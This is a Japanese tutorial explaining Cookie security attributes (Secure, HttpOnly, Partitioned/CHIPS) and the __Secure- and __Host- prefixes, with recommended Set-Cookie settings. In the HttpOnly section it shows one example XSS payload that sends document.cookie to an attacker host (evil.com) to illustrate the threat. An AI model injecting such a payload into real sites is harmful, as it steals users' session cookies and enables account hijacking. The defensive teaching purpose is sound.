#はじめに
「Cookieが盗まれてセッションハイジャックされた」——このような攻撃は、適切なセキュリティ属性を設定することで防げます。
前回学んだSameSite属性はCSRF対策に有効でしたが、Cookieにはほかにも重要なセキュリティ属性があります。Secure、HttpOnly、そして比較的新しいPartitioned属性です。
この記事を読むと、以下のことができるようになります:
- 各セキュリティ属性の役割と効果を理解できる
- どのような場面でどの属性を設定すべきかがわかる
- セキュアなCookie設定のベストプラクティスを実践できる
#Secure属性
Secure属性は、CookieをHTTPS通信でのみ送信するよう制限します。
Set-Cookie: session_id=abc123; Secure
#なぜ必要か
HTTP(暗号化なし)で通信すると、Cookieの内容が盗聴される可能性があります。
[ブラウザ] ----Cookie: session_id=abc123----> [サーバー]
↑
[攻撃者が傍受]
セッションIDを盗む!
Secure属性を付けると、HTTPS通信でのみCookieが送信されるため、盗聴を防げます。
#動作
| 通信 | Secure属性なし | Secure属性あり |
|---|---|---|
| HTTPS | 送信される ✅ | 送信される ✅ |
| HTTP | 送信される ⚠️ | 送信されない ✅ |
#設定すべき場面
セッションIDや認証トークンを含むCookieには必ずSecure属性を付けてください。
# ✅ 推奨
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Lax
# ⚠️ 危険
Set-Cookie: session_id=abc123
#注意点
- ローカル開発環境(
localhost)ではSecure属性付きのCookieでも例外的に動作します - 本番環境では必ずHTTPSを使用してください
#HttpOnly属性
HttpOnly属性は、CookieへのJavaScriptからのアクセスを禁止します。
Set-Cookie: session_id=abc123; HttpOnly
#なぜ必要か
XSS(クロスサイトスクリプティング)攻撃では、悪意のあるJavaScriptが実行され、Cookieを盗むことができます。
// XSS攻撃のペイロード例
const stolen = document.cookie;
fetch('https://evil.com/steal?cookie=' + stolen);
HttpOnly属性があれば、document.cookieでCookieを読み取れないため、この攻撃を防げます。
#動作
| アクセス方法 | HttpOnlyなし | HttpOnlyあり |
|---|---|---|
| HTTPリクエスト | 送信される ✅ | 送信される ✅ |
document.cookie | 読み取れる ⚠️ | 読み取れない ✅ |
#設定すべき場面
セッションIDや認証トークンには必ずHttpOnly属性を付けてください。
# ✅ 推奨: セッションID
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
# ✅ OK: テーマ設定(JavaScriptで読み取る必要がある)
Set-Cookie: theme=dark
ユーザー設定などJavaScriptから読み取る必要があるCookieには、HttpOnlyを付けないこともあります。ただし、機密情報は含めないでください。
#DevToolsでの確認
ApplicationタブのCookies一覧で、「HttpOnly」列にチェックマークが付いているかを確認できます。
また、Consoleで以下を実行すると、HttpOnly属性のCookieが表示されないことを確認できます:
console.log(document.cookie);
// HttpOnly属性のCookieは含まれない
#Partitioned属性(CHIPS)
Partitioned属性は、サードパーティCookieを「トップレベルサイトごとに分離」します。
Set-Cookie: widget_session=xyz; Secure; SameSite=None; Partitioned
#背景: サードパーティCookieの問題
従来のサードパーティCookieは、どのサイトから読み込まれても同じ値が送信されていました。
[site-a.com] → 埋め込み: widget.com → Cookie: user=123
[site-b.com] → 埋め込み: widget.com → Cookie: user=123(同じ!)
これにより、widget.comはユーザーを複数サイトにわたって追跡できます。プライバシーの観点から問題視され、ブラウザはサードパーティCookieを制限する方向に進んでいます。
#CHIPSとは
CHIPS(Cookies Having Independent Partitioned State)は、サードパーティCookieを「トップレベルサイトごとに分割」する仕組みです。
[site-a.com] → widget.com → Cookie: session=abc(site-a用)
[site-b.com] → widget.com → Cookie: session=xyz(site-b用、別の値)
同じwidget.comのCookieでも、site-a.comから読み込まれたときとsite-b.comから読み込まれたときで、別々のCookieとして扱われます。
#動作
Partitioned属性を付けたCookieは、以下のように分離されます:
| トップレベルサイト | Cookie値 |
|---|---|
| site-a.com | session=abc |
| site-b.com | session=xyz |
| site-c.com | session=def |
#使用要件
Partitioned属性を使うには、以下の条件が必要です:
Secure属性が必須SameSite=Noneであること__Host-プレフィックスの使用が推奨
Set-Cookie: __Host-session=abc123; Secure; SameSite=None; Partitioned; Path=/
#適した用途
- 埋め込みウィジェット(コメント、チャット)
- サードパーティの決済フォーム
- 複数サイトに埋め込まれるSaaS
クロスサイト追跡は防ぎつつ、正当なサードパーティ機能を維持できます。
#Cookieプレフィックス
Cookie名に特定のプレフィックスを付けることで、追加のセキュリティ制約を強制できます。
#__Secure-プレフィックス
Secure属性が必須になります。
Set-Cookie: __Secure-session=abc123; Secure; Path=/
Secure属性なしで設定しようとすると、ブラウザは拒否します。
#__Host-プレフィックス
より厳格な制約が適用されます:
Secure属性が必須Path=/が必須Domain属性を指定できない
# ✅ OK
Set-Cookie: __Host-session=abc123; Secure; Path=/
# ❌ 拒否される(Domain指定あり)
Set-Cookie: __Host-session=abc123; Secure; Path=/; Domain=example.com
__Host-プレフィックスにより、Cookieがそのホスト専用であることが保証されます。
#ベストプラクティス
#セッションCookieの推奨設定
Set-Cookie: __Host-session_id=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
| 属性 | 効果 |
|---|---|
__Host- | ホスト固有、Secure/Path=/を強制 |
Secure | HTTPS通信のみ |
HttpOnly | JavaScriptからアクセス不可 |
SameSite=Lax | CSRF対策 |
Path=/ | サイト全体で有効 |
#サードパーティCookieの推奨設定
Set-Cookie: __Host-widget=xyz; Secure; HttpOnly; SameSite=None; Partitioned; Path=/
#設定チェックリスト
-
認証系Cookie
- ✅ Secure
- ✅ HttpOnly
- ✅ SameSite=Strict または Lax
- ✅
__Host-プレフィックス推奨
-
ユーザー設定Cookie(JSから読み取り)
- ✅ Secure
- ❌ HttpOnly(JSで読み取るため不要)
- ✅ SameSite=Lax
-
サードパーティCookie
- ✅ Secure
- ✅ HttpOnly
- ✅ SameSite=None
- ✅ Partitioned
#まとめ
- Secure: HTTPSでのみ送信、盗聴を防止
- HttpOnly: JavaScriptからアクセス不可、XSSによる盗難を防止
- Partitioned: サードパーティCookieをサイトごとに分離
__Host-プレフィックス: 厳格なセキュリティ制約を強制- 認証Cookieには必ず Secure + HttpOnly + SameSite を設定
#次のステップ
Cookieのセキュリティ属性を理解したところで、次はセッション管理の仕組みについて学びましょう。Cookieを使ったセッション管理の実装方法や、セッション固定攻撃などの脅威と対策を理解できます。